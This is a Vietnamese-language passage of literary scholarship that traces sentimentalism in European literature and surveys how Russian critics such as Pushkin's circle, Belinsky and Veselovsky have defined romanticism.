Khuynh hướng tư tưởng như vậy cũng hàm chứa trong các tác phẩm của chủ nghĩa tình cảm Nga. Trong nền tảng nội dung tư tưởng của “Đoản thi mới” và “Đoản thi triết học” của Kheraxkốp, những truyện vừa của Karamdin, những bi ca của Giukốpxki cũng có sự phản đề giữa thói háo danh và trụy lạc của xã hội quý tộc với đời sống trong sạch đạo đức của điền trang và nông thôn gia trưởng. Và những bản chất đạo đức tích cực ấy của cuộc sống giản dị, tầm thường, nhưng đôi khi khinh thường xã hội thượng lưu cũng trở thành đối tượng phản xạ cảm xúc tinh tế trong các tác phẩm ấy.
Việc mô tả những xúc động đa cảm có một khuynh hướng khác trong “Những đau khổ của chàng Vérter” của Gớt (1774). Nhân vật chính của truyện vừa này giống như nhân vật của “Êlôidơ mới” có thái độ cương quyết phủ nhận xã hội quý tộc quan liêu với cái học vấn dối trá, sự kiểu cách và hợm hĩnh của lối sống của nó và chàng cố đi tìm hạnh phúc trong đời sống giản dị không bị hư hỏng – trong môi trường thị dân Đức gia trưởng quê mùa – và hiến dâng tình yêu mẫn cảm cho cuộc sống ấy cùng với thiên nhiên bao quanh nó. Nhưng Gớt nêu bật trong tính cách Verter cái nhược điểm cá nhân chủ nghĩa của đạo tin lành của anh ta, sự thiếu tích cực của đời sống mơ mộng – suy tưởng của anh ta, sự mải mê của anh ta trong phạm vi những xúc động yêu đương cá nhân không gắn liền với những lý tưởng xã hội nhất định nào đó. Những nỗi đau buồn đa cảm của nhân vật vì tình yêu bất hạnh của mình với Lốtte, sự thất vọng và tự sát của anh ta – tất cả điều đó là phương tiện hấp dẫn của sự bóc trần nhược điểm ấy và tính thiếu tích cực trong truyện vừa. Không phải ngẫu nhiên mà chính Gớt đã viết khi sắp hoàn tất công việc của truyện vừa rằng ông đã mô tả trong đó “một chàng trai trẻ”, “đắm mình vào những ước mơ ngông cuồng”, rằng nhà văn của ông “hy sinh…vì những đam mê bất hạnh…”.
Nhưng từ điều đó mà cho rằng tính đa cảm như một biến thể cảm hứng lần đầu được tạo ra chỉ trong văn học của chủ nghĩa tình cảm thì không thể như trên đã nói là nó đã không xuất hiện trong văn học những thời đại trước. Sinler tất nhiên đã không đúng khi gọi Gôraxia là “người sáng lập thi ca đa cảm” có ý muốn nói tới “Thi phẩm” của ông. Không thể xem là đa cảm theo cảm hứng của mình ở cuốn sách đó của nhà thơ La Mã mặc dù trong đó có sự lý tưởng hóa nét dung dị của đời sống ngày xưa và nền nếp cổ kính, ở “Thơ đồng nội” của người cùng thời với nó là Verginlia, miêu tả những xúc động mẫn cảm và dịu dàng của những người du mục, ở thơ điền viên của người tiền bối Hy Lạp của họ là Phêôkrít mà trong đó sự bộc lộ tình cảm còn lớn hơn, ở truyện du mục “Đaphnhix và Khlôia” của Lông. Tất nhiên trong những tác phẩm ấy đã miêu tả những tính cách xã hội với chính mâu thuẫn bên trong của chúng, cái mâu thuẫn mà mãi thời gian sau có tính lịch sử đã trở thành đối tượng của sự thấu hiểu tư tưởng đã sinh ra cảm hứng đa cảm. Nhưng trong nội dung các tác phẩm ấy đã còn chưa có một đặc điểm có tính quyết định – cái phản xạ cảm xúc của chính các nhân vật của chúng – và còn lớn hơn là – của các tác giả của chúng. Tất nhiên những nhà văn ấy chỉ là những bậc tiền bối xa xưa của những nhà thơ, nhà văn, nhà soạn kịch thực sự đa cảm.
Phản xạ đa cảm rõ ràng là đã bắt đầu xuất hiện chỉ trong văn học Phục Hưng và trước hết là ở Pháp và Prôvanx. Đó là thời đại khi đã xuất hiện cái gọi là văn hóa lịch thiệp là cơ sở mà trên đó lần đầu tiên đã bắt đầu hoàn thiện quá trình tự quyết cá nhân trong xã hội quyền uy và đã sinh ra sự quan tâm tư tưởng của cá nhân đối với thế giới nội tâm của mình.
Những tia sáng đầu tiên của tính đa cảm rõ ràng có thể tìm thấy trong sáng tác của một loạt những người hát rong vào khoảng nửa sau thế kỷ XII. Một số trong bọn họ rõ ràng là không vừa lòng với phong cách quý phái của đời sống và quan niệm quý tộc tình yêu “lịch thiệp” tinh tế đối với phụ nữ, đã ra sức đưa vào trong khái niệm đó một nội dung rộng lớn và thậm chí có tính dân chủ. Chẳng hạn như người hát rong Đan phin đơ Alveri đã phát ngôn một tư tưởng rằng “con người xuất thân thấp hèn nhưng lịch thiệp” trong tâm hồn mình xứng đáng cao hơn một số nam tước và hiệp sĩ “thô lỗ, khiếm nhã, quỷ quyệt” theo bản tính của mình. Chính trong thơ ca một số người hát rong việc mô tả “người đàn bà đẹp” của người yêu đã thường được xây dựng trong những đề tài khẳng định phản xạ xúc cảm của nó. Người tình đắm chìm trong những tình cảm của mình nhưng nó rụt rè và buồn rầu không dám tự bày tỏ và cần phải giữ kín trong những xúc động cao thượng và dịu dàng của mình khỏi những tên do thám và tố giác hùng mạnh định giết nó; nó không ngừng thở dài và khóc nhưng đôi khi cũng chết vì tình yêu bất hạnh của mình.
Sự miêu tả tương tự về tình yêu dịu dàng, thầm kín và luôn bất hạnh có thể tìm thấy trong các bài ca sử thi của thời đại ấy. Những truyện ngắn bằng thơ của nhà văn nữ được trình diễn dưới biệt danh Mari Phrăngxudơxki là loại như vậy. Bà đã thừa nhận trong sự say đắm của mình bởi “những bài ca dịu dàng” của những người di cư, trong lúc làm thay đổi chúng bằng kiểu cách lịch thiệp ở những bài ca của mình thì với sự buồn bã bà đã ngắm nhìn chúng bằng tình cảm tự nhiên, giản dị của những người trẻ tuổi yêu nhau một cách bất ngờ và bí mật, đang đau khổ vì ách áp bức và sự truy nã từ phía những đại diện đạo đức quyền uy gia đình thế tộc và vì sự báo thù của chúng. Sự thông cảm với những người bị áp bức xứng đáng được quý trọng đạo đức được biểu hiện rõ ràng hơn nữa.
Không ai lúc ấy đã biết gọi tất cả điều đó là “tính đa cảm” và khái niệm ấy lúc đó cũng chưa có. Nhưng trong các tác phẩm được nêu ra thì đã nói lên những đặc điểm cơ bản và những điều kiện bên trong của việc xuất hiện loại hình đó của sự hiểu biết tư tưởng – cảm xúc đời sống, làm trở nên sâu sắc đạt đến ý nghĩa cảm hứng.
Thời kỳ hưng thịnh và phát triển của xúc động đa cảm trong văn học châu Âu đã nhanh chóng trôi qua. Văn học của chủ nghĩa lãng mạn đã tràn đầy xã hội đến nỗi quên cả thời kỳ thống trị của tính đa cảm. Nhưng những điều kiện tiếp tục tồn tại nên tính đa cảm với toàn bộ sức mạnh đã thường thấy biểu hiện ngay cả trong các tác phẩm của những trào lưu hiện thực.
Truyện vừa “Những người đáng thương” của Đôxtôepxki có thể làm ví dụ tốt. Trong những bức thư của người công chức nghèo đứng tuổi gửi cô hàng xóm nghèo của anh ta thường biểu lộ sự mâu thuẫn tâm lý tính cách. Đêvuskin biết mình “nhỏ bé” là “người nghèo, xấu hơn miếng giẻ rách”, ở chàng chỉ có mẩu bánh mỳ “đôi khi thậm chí cứng khô”, những đồng sự khinh bỉ vì anh chỉ “cạo giấy” và anh trốn tránh những người khác trong sự nghèo hèn của mình. Nhưng đồng thời anh lại tự hào về sự lao động khiêm tốn của mình, “đức hạnh” của mình, xem mình là “ông”, đánh giá cao “thanh danh” của mình, “sự tự trọng” cuả mình và sẵn sàng hợp sức bảo vệ chúng khỏi điều lăng nhục. Anh làm điều đó với tình trạng tâm thần bất định sâu sắc, với “sự hăng hái của con tim”, với những giòng nước mắt thầm kín và đưa đến sự khái quát về thẩm hạnh “nghiêm khắc” kỳ quặc của “những người đáng thương”. Còn Varenka cũng như thế, cô tràn đầy “những ấn tượng đau lòng” và cảm nhận được tất cả “nỗi nặng nề, đau đớn đang tràn ngập trái tim và tâm hồn đang cầu xin những giọt nước mắt như thế nào”. Tất cả điều đó – những xúc động của phản xạ đa cảm là cảm hứng cơ bản của những trao đổi thư từ của các nhân vật mà trong đó tác giả khẳng định tư tưởng của chúng.
Một số tác phẩm của Đichken (“Những câu chuyện lễ Giáng sinh”, “Trận chiến cuộc đời” và những tác phẩm khác) của Nhêcraxốp (“Ôrina, người mẹ chiến sĩ”, “Morôz – mũi đỏ” và một số khác) và của nhiều nhà văn khác thế kỷ XIX và XX cũng có đặc tính cảm hứng đa cảm.
_________________
Năng lực phản xạ cảm xúc đã có ý nghĩa lịch sử to lớn không chỉ đối với sự xuất hiện của tính đa cảm mà cả tính lãng mạn. Khi lý giải nét biến tướng ấy của cảm hứng cần phải phân biệt rõ nó với những hiện tượng khác của quá trình văn học, với những hiện tượng mà nó thường gắn bó và với những hiện tượng mà thường bị lẫn lộn về mặt thuật ngữ. Điều đó chủ yếu là chủ nghĩa lãng mạn trong những nghĩa khác nhau của từ ấy.

V. Tính lãng mạn trong quan hệ với vấn đề của chủ nghĩa lãng mạn
Hình như trong khoa học văn chương hiện đại của chúng ta không có thuật ngữ nào không rõ ràng, phức tạp và tranh cãi nhiều hơn “chủ nghĩa lãng mạn”. Năm 1825 Puskin đã viết cho Viademxki: “Tiện thể: tôi đã nhận thấy rằng tất cả (ngay cả anh) đang có ở chúng ta một nhận thức không rõ ràng nhất về chủ nghĩa lãng mạn”(1). Từ đó đã trải qua gần một trăm rưỡi năm nhưng có thể cả gan nhắc lại tư tưởng ấy của Puskin. Bây giờ nó vẫn đúng.
Nhưng tất nhiên nó đúng một cách khác so với thời đại ấy. Lúc đó người ta đã tìm và không phải lập tức chỉ mỗi khái niệm đầu tiên của chủ nghĩa lãng mạn. “Chủ nghĩa lãng mạn, như ông táo, – Viademxki đã viết cho Giucốpxki, – nhiều người tin nó, có thuyết phục rằng nó tồn tại; nhưng để ý nó ở đâu, định rõ nó thế nào, ngón tay chạm vào nó ra sao”(2).
Ở chúng ta tình hình có khác. Hơn một trăm năm trong phê bình và lịch sử văn học thường xuyên đã xuất hiện và hình thành những cách hiểu và định nghĩa khác nhau của chủ nghĩa lãng mạn. Và chúng đã xuất hiện không ngẫu nhiên. Trong chúng đã phản ánh sự trưởng thành liên tục của tư tưởng khoa học, sự mở rộng dần dần những chân trời khoa học.
Nhưng trong khi được hình thành, chúng còn chưa định hình, chưa lắng đọng lại cho tới nay. Bằng một thuật ngữ “chủ nghĩa lãng mạn” chúng ta thường xác định những hiện tượng khác nhau, những phương diện khác nhau của những tác phẩm riêng lẻ và của cả sự phát triển lịch sử văn học.
1
Đặc biệt rõ là điều ấy đã và đang diễn ra trong giới phê bình Nga và khoa học văn chương. Ở đây trong từ “chủ nghĩa lãng mạn” có đặc biệt nhiều ý nghĩa khác nhau. Cần phải điều chỉnh chúng, cần phải chỉ ra vị trí của chúng nhưng không có tham vọng làm sáng tỏ toàn bộ lịch sử vấn đề.
Định nghĩa đầu tiên của chủ nghĩa lãng mạn trong văn học Nga được đưa ra bởi các nhà lãng mạn Nga đầu tiên, những nhà thơ và nhà phê bình thời đại Puskin. Và chính cái hoàn cảnh mà điều đó được chính các nhà thơ lãng mạn xác định đã làm cho nó trở nên hoàn toàn đặc biệt.
Đó không phải là định nghĩa mang tính lịch sử văn học và thậm chí cũng không phải có tính phê bình văn học trong ý nghĩa riêng của từ. Các nhà thơ, những nghệ sĩ ngôn từ khi đó đã bắt đầu nói về chủ nghĩa lãng mạn, xuất phát trước hết từ những sự ham thích và nhu cầu sáng tạo của họ.
Lý luận chủ nghĩa lãng mạn là cái gì đối với Viademxki và Kiukhenbeker, đối với Puskin và Bextugiep – Marlinxki, đối với Galitr và Sevưrép ? Trước hết và lớn hơn cả là một cương lĩnh văn học, trong đó họ đã nhận thức sáng tạo mình, những khuynh hướng thi ca riêng của mình, trong đó họ tự mình xô đẩy khỏi người khác, khỏi những phương hướng sáng tạo xa lạ, khắc phục chúng, đôi khi ngay trong cả bản thân. Nói cách khác, chủ nghĩa lãng mạn lúc đó đã được thừa nhận như tên gọi của trào lưu văn học mới.
Cần chú ý một điều là rất nhiều trong những quy tắc cơ bản nhất của cương lĩnh sáng tác của họ về bản chất đã không bao hàm một cái gì lãng mạn. Họ đã tự ý thức như thuộc về chủ nghĩa lãng mạn và trong cái nghĩa ấy đã là lãng mạn chỉ trong sự đối lập của mình đối với luận điểm của cương lĩnh văn học khác – cương lĩnh chủ nghĩa cổ điển.
Khi Viademxki thấy bản chất chủ nghĩa lãng mạn trong dấu ấn “tính nhân dân và tính địa phương” tức là trong tính độc đáo dân tộc của nội dung và hình thức thi ca thì ông chỉ phát biểu chống lại những công thức lý luận trừu tượng và du nhập của chủ nghĩa cổ điển mà thơ ca buộc phải phụ thuộc. Vì thế các tác phẩm có tính độc đáo dân tộc đã có thể không bao hàm một chút gì thực sự lãng mạn chủ nghĩa.
Khi Sevưrép giải thích bản chất chủ nghĩa lãng mạn bằng sự việc dẫn “tinh thần” của thơ ca châu Âu cơ đốc giáo trung cổ và mới, thì trước hết ông đối lập với cái “tinh thần” đó với văn hóa đã thần giáo “trần tục” thời cổ đại mà trên đó hình như là cơ sở của thơ ca của chủ nghĩa cổ điển.
Khi N. Pôlêvôi xác định chủ nghĩa lãng mạn như là thơ ca “tự do” sáng tạo chỉ “theo các quy luật tâm hồn con người”, ông đã đẩy nó ra khỏi thơ ca chủ nghĩa cổ điển gắn liền và bị hạn chế bởi những nguyên tắc được vạch ra từ trước. Bản thân việc sáng tạo tự do, không giới hạn đã có thể là tiêu chí nào đó không có quan hệ gì với chủ nghĩa lãng mạn.
Nói cách khác tư tưởng cơ bản của cương lĩnh sáng tác của chủ nghĩa lãng mạn được tạo ra ở Nga những năm 20 thế kỷ XIX nằm trong việc khắc phục của chủ nghĩa cổ điển khỏi tính trừu tượng, tính lý trí và tính định chuẩn của nó và trong sự khẳng định tính độc đáo, tính cụ thể và tự do sáng tạo. Các nhà lãng mạn Nga đã tư duy về chủ nghĩa lãng mạn theo nguyên tắc tương phản. Đối với họ chủ nghĩa lãng mạn là một đặc trưng văn học mà dưới nó họ đã chiến đấu với những người có quan điểm khác nhau bằng cương lĩnh thi ca mà họ đã đối lập với chủ nghĩa cổ điển và đã mong thực hiện trong các tác phẩm của mình. Như vậy những nhà lãng mạn đã hiểu chính mình và thơ ca của mình. Đối với họ “Bôrix Gôđunốp” chứa trong mình ấn tượng mạnh của “tính nhân dân và tính địa phương”, được tạo ra trong “tinh thần” cơ đốc giáo chứ không phải đa thần giáo, theo nguyên tắc tự do sáng tạo hoàn toàn, là hiện tượng văn học lãng mạn chủ nghĩa và chính Puskin đã xem nó là bi kịch “lãng mạn chân chính”. Với sự tự ý sáng tạo ấy và thực tiễn sáng tác, các nhà lãng mạn Nga những năm 1820 đã đi vào lịch sử.
Khi tổng kết thời kỳ lãng mạn chủ nghĩa, Bêlinxki đã viết về sau rằng các nhà lý luận chủ nghĩa lãng mạn đã hiểu sai nó “như là sự đối lập với chủ nghĩa cổ điển giả Pháp”.
Đối với nhà lịch sử văn học, chủ nghĩa lãng mạn ở trong ý nghĩa mà chính các nhà lãng mạn những năm 1820 đã gán cho nó, không phải là sai lầm mà là một sự thật lịch sử. Vậy thì chủ nghĩa lãng mạn trước hết là trào lưu văn học vững tin đi tới thay thế chủ nghĩa cổ điển theo con đường mà chủ nghĩa tình cảm đề ra một cách rụt rè. Trong văn học Nga nó xuất hiện đầu những năm 20 của thế kỷ XIX và tồn tại đến giữa những năm 40. Về chủ nghĩa lãng mạn trong ý nghĩa ấy của từ cần được nói và viết nhiều nữa.
Sau đó Bêlinxki đã đưa ra định nghĩa của mình của chủ nghĩa lãng mạn hoàn toàn khác với điều mà chính những các nhà lãng mạn Nga nói về việc đó. Cách hiểu của họ hình như đối với ông là sai lầm bởi vì ông đã dùng từ “chủ nghĩa lãng mạn” trong cái nghĩa hoàn toàn khác với những nhà lãng mạn đã sử dụng nó. Ông đã phát biểu như người sáng lập cương lĩnh sáng tác mới thay thế cho chủ nghĩa lãng mạn. Ông đã làm như vậy vào những năm 40 trong các bài báo của mình về Puskin và những người khác.
Ngay Nađêgiơđin đã nói sự không đồng ý của mình với cương lĩnh chủ nghĩa lãng mạn, với những công thức của nó. Hơn nữa ông đã xem xét chúng không từ quan điểm sáng tác mà đúng hơn từ quan điểm phê bình văn học. Bêlinxki đã bác bỏ một cách rành rõ hơn nhiều những công thức ấy khi đối lập chúng với cách hiểu của mình về chủ nghĩa lãng mạn.
Mỉa mai quan điểm của Pôlêvôi, nhà phê bình đã viết: “Trong ý nghĩa chặt chẽ nhất và bản chất nhất của mình, chủ nghĩa lãng mạn không là cái gì khác thế giới bên trong tinh thần con người, là đời sống thầm kín của con tim nó. Trong ngực và trong trái tim con người chứa đựng nguồn gốc bí mật của chủ nghĩa lãng mạn… và vì vậy hầu như mỗi một người là một nhà lãng mạn… Đó chính là khái niệm đầu tiên, tự nhiên về chủ nghĩa lãng mạn”. Hoặc ở một chỗ khác: “Phạm vi của nó… là cơ sở bí mật của tâm hồn và trái tim mà từ đó vùng lên tất cả những mong ước không xác định tới cái tốt hơn và cao cả, cố tìm trong mình sự thỏa mãn trong lý tưởng sáng tạo điều mơ ước huyền ảo”(1).
Ở đây cần phải đồng ý với Bêlinxki. Ông đã nêu một định nghĩa không đầy đủ, không rõ ràng về chủ nghĩa lãng mạn nhưng rõ ràng là “cơ bản” hơn nhiều so với Pôlêvôi với tư duy theo dõi tương phản của ông. Bêlinxki nói về chủ nghĩa lãng mạn đến mức trong cái nghĩa khác của từ ấy với các nhà lãng mạn những năm 20 – 30 thế kỷ XIX thậm chí không có thể có một cuộc tranh luận nào giữa họ về đề tài này.
Trên thực tế: một đàng nói chủ nghĩa lãng mạn – đó là “đả đảo các quy tắc” còn đàng khác trả lời chủ nghĩa lãng mạn – “đó là cuộc sống thầm kín của trái tim”. Pôlêvôi đã xác định chủ nghĩa lãng mạn như một cương lĩnh thi ca trong đó đã hình thành một trào lưu văn học nhất định. Bêlinxki thì lại xác định nó như một quan hệ tư tưởng – cảm xúc đối với đời sống.
Sự phân nhánh đầu tiên ấy của khái niệm về sau đã sinh ra không ít băn khoăn. Tranh luận với Pôlêvôi, Bêlinxki đã phá tan trào lưu lãng mạn bằng điều đó. Sau đó ông bắt đầu xây dựng một lý thuyết văn học mới, cương lĩnh của một trào lưu mới – “chủ nghĩa tự nhiên”. Chẳng bao lâu trào lưu ấy hoàn toàn thắng lợi và đã cắm ngọn cờ của mình lên cảnh điêu tàn của chủ nghĩa lãng mạn. Và đối với những ai được giáo dục bởi những bài báo của Bêlinxki, những bài báo của những người kế tục ông – của Sécnưsépxki, Đôbrôliubốp thì hình như chủ nghĩa lãng mạn nhìn chung tất cả đã ở trong quá khứ, nó đã chấm dứt tồn tại.
Nhưng đó là sự ngộ nhận rõ ràng. Đã từ lâu không tồn tại chủ nghĩa lãng mạn theo nghĩa của Pôlêvôi nhưng cũng không theo nghĩa của Bêlinxki. Đã từ lâu cương lĩnh văn học của các nhà lãng mạn đã đánh mất ý nghĩa sáng tạo thực sự đã có của mình. Nhưng dưới ngọn cờ của những trào lưu khác nhau và đôi khi chẳng có ngọn cờ nào các nhà thơ đã và đang tiếp tục biểu lộ những cơn xúc động thầm kín của trái tim mình. Phải chăng họ đã không biểu lộ trong các bài ca của Kônhưgốp, trong “Tình yêu đầu tiên” của Tuốcghênhép, trong “Giấc mơ thứ tư” của Vêra Pavlốpna trong “Làm gì?” của Sécnưsépxki, trong “Những ngọn lửa nhỏ” của Kôrôlenkô trong “Cậu Vanhia” và “Nhà có tầng nóc” của Sêkhốp, trong “Cây phù dung” của Gorki và trong “Kônarmin” của Baben v.v…? Đặc biệt dễ dàng phát hiện điều đó biết bao nguyên tắc lãng mạn sinh động trong nhiều sáng tác của chính chủ nghĩa lãng mạn những năm 1820.
Và vậy là đã đến lúc việc giải quyết vấn đề này, cuối cùng khoa học văn chương hàn lâm phải nắm lấy. Nó đã cố gắng giải quyết vấn đề bằng nỗ lực của một trong những đại biểu nổi tiếng nhất của chúng ta – A.N.Vêxêlốpxki.
Lúc đã già, vào đầu thế kỷ XX, Vêxêlốpxki đã quyết định xem xét lại vấn đề về chủ nghĩa lãng mạn trong sáng tác của một người lớn tuổi nhất trong những nhà thơ – lãng mạn Nga là Giucốpxki. Ông khám phá ra cái quan niệm thế nào của chủ nghĩa lãng mạn ở trong đó? Trong cuốn sách lớn có nội dung phong phú của ông “V.A. Giucốpxki” (1903) chúng ta tìm được sự phân nhánh mới hiện nay của khái niệm đã cũ.
Vêxêlốpxki không thỏa mãn với những quan niệm về chủ nghĩa lãng mạn đã xuất hiện trong nửa đầu thế kỷ XIX. Ông chỉ ra một cách đúng đắn sự thiếu cơ sở của cách hiểu mở rộng chủ nghĩa lãng mạn như tính độc đáo dân tộc của thơ ca, như chủ nghĩa cơ đốc giáo khác với đa thần giáo, như là sự sáng tạo tự do từ những nguyên tắc chật hẹp nhất v.v… Định nghĩa của Bêlinxki đối với ông hình như cũng quá rộng và lu mờ. Ông muốn tạo ra một khái niệm chủ nghĩa lãng mạn lịch sử cụ thể hơn.
Khi giải thích nó, Vêxêlốpxki chỉ ra trước hết “sự đánh giá lại lý trí và tình cảm ở ý nghĩa của chúng trong đời sống cá nhân và xã hội” mà nó đã diễn ra trong văn học các nước Tây Âu, trước hết là ở Anh, bắt đầu từ “phần ba đầu tiên của thế kỷ XVIII”. Trên cơ sở đó dần dần đặt ra “triết học tình cảm” đặc thù trong những biến thể mang tính cá nhân và dân tộc khác nhau của mình. Nó là cương lĩnh sáng tạo đối với vô số các nhà thơ, nhà tiểu thuyết và nhà viết kịch của những nước khác nhau.
Nhưng giữa “những người thực hiện” cương lĩnh ấy Vêxêlốpxki chia ra hai nhóm, một nhóm trong số đó ông gọi là “những người nhạy cảm” và nhóm kia là “những thiên tài mãnh liệt. Những nhóm người thứ nhất đó là “những người nhiệt tình ôn hòa của tính đa cảm… làm yên lòng mình trước những niềm hân hoan êm đềm và nước mắt bằng sự phân tích những cảm xúc của mình…”. Nói cách khác đó là những nhà tình cảm. Còn những người thuộc nhóm thứ hai đó là những người phụng sự “sự sáng suốt thiên tài” và “lòng nhiệt tình hưng phấn”. Nó kéo họ “đến với thiên nhiên, đến với nhân dân và bài ca của nó, đến với lề thói nhân dân xưa được lý tưởng hóa…”. Họ kêu gọi tới “chiến công tích cực và cuộc đấu tranh”. Họ đòi hỏi “tự do tình cảm”, “khát khao khoảng không bao la… muốn nắm lấy cuộc sống trọn vẹn và yêu thực tại”. Ở họ có lòng ham thích “những phạm nhân oai phong dũng cảm” từ Prômêtê đến những tên cướp bất lương. Điều đó theo Vêxêlốpxki là những nhà lãng mạn và các sáng tác của họ là chủ nghĩa lãng mạn.
Trong cái nghĩa đó Giucốpxki không phải là nhà lãng mạn bởi vì ông đã lớn lên trong “những truyền thuyết của chủ nghĩa tình cảm”, noi theo “hình thức tư duy và biểu đạt của nó”, “nếm trải sâu sắc nội dung các lý tưởng của nó”, còn “những khuynh hướng của chủ nghĩa lãng mạn” đối với nó chỉ là “những yếu tố của phong cách, hấp thụ trong nó những tư tưởng đã chín muồi”(1).
Trước mắt chúng ta là một quan niệm mới về chủ nghĩa lãng mạn. Đó không phải là một cương lĩnh xác định xác định của sáng tạo nghệ thuật cổ điển, khỏi sự trừu tượng phi dân tộc của các tính cách và hoàn cảnh. Đó cũng phải là tư tưởng lãng mạn nói chung, không phải bất kỳ “những khao khát tới cái cao cả và tốt hơn” được lặp lại một cách lịch sử mạnh mẽ trong sáng tác các nhà văn của các thời đại và trào lưu khác nhau. Đó là một thế giới quan xác định trong các hình tượng, thống nhất những đề tài cụ thể của sáng tác không lặp lại khỏi phạm vi thời đại lịch sử được xem xét. Vêxêlốpxki đã gọi chủ nghĩa tình cảm là “trào lưu văn học”. Không nghi ngời gì rằng chủ nghĩa lãng mạn như là sự sáng tạo của sáng tác trong thời đại thống trị của trào lưu lãng mạn và không liên kết với truyền thống chủ nghĩa cổ điển một số đặc điểm chung nội dung của chúng và muốn tìm thấy trong chúng những dấu hiệu của chủ nghĩa lãng mạn.
Chẳng hạn như những lập luận về đề tài này trong giáo trình lịch sử văn học của A.G. Xâytơlin. Ông liệt kê trong đó những dấu hiệu cơ bản của chủ nghĩa lãng mạn Tây Âu. Tiếp đó nêu lên những đặc điểm của chính tư duy sáng tạo của các nhà lãng mạn: tính chất tôn giáo, tính trực giác, chủ nghĩa cá nhân, chủ nghĩa phi lý, chủ nghĩa lịch sử, tính nhân dân…(2).
Không rõ là tất cả những đặc điểm ấy trong sự thống nhất của chúng gộp thành chủ nghĩa lãng mạn hay chỉ là một số, thậm chí một ít. Chẳng hạn trong các bài thơ thời trẻ của Puskin không hề có tính tôn giáo, tính trực giác, chủ nghĩa phi lý, chủ nghĩa lịch sử, thậm chí cũng không có tính nhân dân chân chính. Nếu chỉ có chủ nghĩa cá nhân trong những hình tượng người tù và Alekô nhận được sự đánh giá tư tưởng – cảm xúc tiêu cực. Nhưng trong khi đó đấy là những tác phẩm hàon toàn rõ ràng, hợp lý, đầy đủ, giá trị tính chất lãng mạn.
Hơn nữa lại đang tồn tại một thực tế là tất cả những dấu hiệu liệt kê của chủ nghĩa lãng mạn thường được gặp ở xa các giới hạn các trào lưu lãng mạn những năm 20 – 30 thế kỷ XIX, đôi khi tậm chí thấy trong hầu hết thành phần đầy đủ của mình. Ví dụ trong “Anh em nhà Karamadốp” có thể tìm thấy tất cả những điều mà A. G.Xâytơlin đã chỉ ra của chủ nghĩa lãng mạn. Nhưng tác phẩm ấy không thể nào xem lãng mạn theo cách Pôlêvôi, theo cách của Bêlinxki, theo cách của Vêxêlốpxki. Vậy có nghĩa là tính tôn giáo, chủ nghĩa cá nhân, tính nhân dân và tất cả các dấu hiệu chung bền vững đã nhận được nội dung lãng mạn chỉ ở trong những tác phẩm của trào lưu lãng mạn hay sao? Cái gì đã làm cho chúng thành lãng mạn?
Nhanh chóng sau khi công bố chuyên khảo về Giucốpxki của Vêxêlốpxki thì khái niệm về chủ nghĩa lãng mạn ở một số đại biểu khoa học hàn lâm Nga đã thay đổi rõ rệt. Trong những năm 20 một số nhà lịch sử văn học đã cảm thấy trong mức độ này hay mức độ khác ảnh hưởng của chủ nghĩa hình thức và họ muốn thấy trong sự giải quyết những vấn đề của chủ nghĩa lãng mạn không phải là trào lưu mà là phong cách, là sự “tổng hòa các thủ pháp”. Nói rõ thái độ này là bài báo “Những vấn đề cấp bách của nghiên cứu chủ nghĩa lãng mạn Nga” của A.I. Bêlinxki.
Chỉ ra “sự lộn xộn”, “mờ mịt” đem lại trong lịch sử văn học bởi thuật ngữ “chủ nghĩa lãng mạn”, Bêlinxki đã giải thích đúng đắn điều đó “một phần bởi dưới cái tên “chủ nghĩa lãng mạn” người ta đã gọi những hiện tượng của thuộc tính khác nhau”. Trong khi đi tới cách đặt vấn đề của mình, ông đã viết: “Chỉ trong một thời gian chưa bao lâu đã lộ ra khuynh hướng sử dụng từ “chủ nghĩa lãng mạn” làm tên khoa học văn chương Nga, thuật ngữ “phong cách” mới chỉ dựa vào thành mốt còn chưa thay thế cái thuật ngữ “trào lưu” cũ và phổ biến hơn”. “Các trào lưu” trong văn học đã được thừa nhận định rõ đặc tính không chỉ là cơ sở của những thủ pháp nghệ thuật đặc trưng của “những thiên tài mãnh liệt” đáng được gọi như vậy theo quan điểm của ông. Đó là một trào lưu văn học khác của chính thời đại lịch sử to lớn ấy.
Vêxêlốpxki chưa chắc đã đúng khi thống nhất trong một trào lưu văn học sáng tác của “những thiên tài mãnh liệt” của các nước Tây Âu khác nhau nằm trong những giai đoạn khácnhau khi đó của sự phát triển xã hội của mình. Đúng là trong mỗi nền văn học dân tộc riêng biệt tất nhiên đã tồn tại những nhà văn phát triển theo những đề tài khác nhau trong sáng tác của mình mà Vêxêlốpxki gọi là lãng mạn. Đáng lẽ nói cách khác là chia những trào lưu lãng mạn riêng lẻ trong mỗi nền văn học dân tộc. Phải chăng là đúng vị trí như ở nhà tình cảm chủ nghĩa Gikốpxki chủ nghĩa lãng mạn chỉ nói trong “những yếu tố của phong cách” không bắt nguồn từ “những tư tưởng ” của nó.
Nhưng quan trọng không phải điều đó. Quan trọng là cách hiểu chủ nghĩa lãng mạn là sự kết hợp những đề tài xác định trong sáng tác nghệ thuật của một thời đại lịch sử nhất định đã được phổ biến rộng rãi trong nghiên cứu văn học và đã được xuất hiện trong sác giáo khoa văn học. Nhiều nhà lịch sử văn học trong thời đại chúng ta đang đi theo quan điểm này.
Nếu như những đại biểu của trào lưu lãng mạn trong khi đối lập nghệ thuật của mình với nghệ thuật của chủ nghĩa cổ điển, đã suy nghĩ theo cách của nguyên tắc phản đề thì những nhà lịch sử văn học ở đây đang tư duy một cách nhanh chóng theo nguyên tắc hỗn hợp. Họ cố tìm trong những tác phẩm của tất cả các nhà văn chúng còn hơn nữa còn là cơ sở của “thế giới quan” và “tư tưởng”. Dĩ nhiên phong cách nghệ thuật – sự kết hợp những cách thức ấy – thường gắn bó với tư tưởng phù hợp, được xác định bởi thế giới quan phù hợp; nhưng cái trật tự ngược lại thì không bắt buộc: tư tưởng duy tâm có thể không đòi hỏi cho sự biểu hiện của mình một phong cách lãng mạn tối cần thiết… Ở đây xuất hiện một câu hỏi đến nay chưa giải quyết: có chăng phong cách lãng mạn – một hiện tượng thuộc vào một thời đại nhất định gắn phỏng chừng với những cái khung niên đại nhất định – hoặc là về những cái khung ấy còn nói quá sớm, cái thời đại của phong cách lãng mạn hãy còn chưa chấm dứt…”.
